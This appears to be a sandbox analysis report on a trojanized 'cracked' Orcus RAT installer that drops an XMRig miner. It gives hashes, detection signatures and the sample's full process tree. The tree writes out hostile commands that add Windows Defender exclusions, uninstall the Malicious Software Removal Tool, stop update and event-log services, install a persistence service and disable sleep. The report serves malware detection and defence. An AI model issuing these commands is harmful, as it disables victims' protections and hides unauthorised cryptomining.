Analysis

  • max time kernel
    48s
  • max time network
    51s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-09-2024 17:39

General

  • Target

    Orcus RAT 1.9.1 - Cracked/Orcus.Administration-cracked.exe

  • Size

    5.1MB

  • MD5

    2a9cce77881640f9d0560a3d3769495a

  • SHA1

    0f85f15889ca1d974acd297c31ef69a529dfc689

  • SHA256

    8559769d20c4435067ccd3cfbf713bd93c7e04a7932fac523c5f8923d9d6b64b

  • SHA512

    443d4f634a2535da884671538e1129a9bac3e404a958f276890b4e40dfda18275c490d7e0d100f9e0982506e610a8235f272c53618a83c1b852a84f5682f6b98

  • SSDEEP

    98304:pDjpjAI3EQGA7rsMBB0tLqH0b/u1FMS7A0BeLbrv/dwqSRatuZu2cjQPYo4NXAl4:djpsI9VhB6tmUbVSU7/aq4aQZuLo4

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Orcus RAT 1.9.1 - Cracked\Orcus.Administration-cracked.exe
    "C:\Users\Admin\AppData\Local\Temp\Orcus RAT 1.9.1 - Cracked\Orcus.Administration-cracked.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2232
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1620
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:2504
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4904
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4992
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5096
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:984
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2328
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3940
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2108
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2200
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3500
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "XLZQHCLS"
        2⤵
        • Launches sc.exe
        PID:2704
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "XLZQHCLS" binpath= "C:\ProgramData\oaocofwmfjha\gmstcccpdzbb.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3548
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:3652
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "XLZQHCLS"
        2⤵
        • Launches sc.exe
        PID:1464
    • C:\ProgramData\oaocofwmfjha\gmstcccpdzbb.exe
      C:\ProgramData\oaocofwmfjha\gmstcccpdzbb.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:3344
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:776
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:868
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:4320
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:1936
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:3744
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4640
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4620
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4472
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:5056
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:1324
          • C:\Windows\system32\conhost.exe
            conhost.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2372

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\oaocofwmfjha\gmstcccpdzbb.exe

          Filesize

          5.1MB

          MD5

          2a9cce77881640f9d0560a3d3769495a

          SHA1

          0f85f15889ca1d974acd297c31ef69a529dfc689

          SHA256

          8559769d20c4435067ccd3cfbf713bd93c7e04a7932fac523c5f8923d9d6b64b

          SHA512

          443d4f634a2535da884671538e1129a9bac3e404a958f276890b4e40dfda18275c490d7e0d100f9e0982506e610a8235f272c53618a83c1b852a84f5682f6b98

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rtswrenp.x3q.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1324-49-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1324-48-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1324-52-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1324-50-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1324-51-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1324-55-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/1620-11-0x00007FFDE8540000-0x00007FFDE9001000-memory.dmp

          Filesize

          10.8MB

        • memory/1620-12-0x00007FFDE8540000-0x00007FFDE9001000-memory.dmp

          Filesize

          10.8MB

        • memory/1620-15-0x00007FFDE8540000-0x00007FFDE9001000-memory.dmp

          Filesize

          10.8MB

        • memory/1620-1-0x0000022D4F120000-0x0000022D4F142000-memory.dmp

          Filesize

          136KB

        • memory/1620-0-0x00007FFDE8543000-0x00007FFDE8545000-memory.dmp

          Filesize

          8KB

        • memory/2372-61-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-67-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-57-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-59-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-62-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-58-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-56-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-64-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-66-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-68-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-65-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2372-63-0x0000022000F40000-0x0000022000F60000-memory.dmp

          Filesize

          128KB

        • memory/2372-60-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2412-37-0x0000024AE8760000-0x0000024AE877C000-memory.dmp

          Filesize

          112KB

        • memory/2412-38-0x0000024AE8780000-0x0000024AE8835000-memory.dmp

          Filesize

          724KB

        • memory/2412-39-0x0000024AE8840000-0x0000024AE884A000-memory.dmp

          Filesize

          40KB

        • memory/2412-44-0x0000024AE89D0000-0x0000024AE89D6000-memory.dmp

          Filesize

          24KB

        • memory/2412-40-0x0000024AE89B0000-0x0000024AE89CC000-memory.dmp

          Filesize

          112KB

        • memory/2412-41-0x0000024AE8990000-0x0000024AE899A000-memory.dmp

          Filesize

          40KB

        • memory/2412-42-0x0000024AE89F0000-0x0000024AE8A0A000-memory.dmp

          Filesize

          104KB

        • memory/2412-43-0x0000024AE89A0000-0x0000024AE89A8000-memory.dmp

          Filesize

          32KB

        • memory/2412-45-0x0000024AE89E0000-0x0000024AE89EA000-memory.dmp

          Filesize

          40KB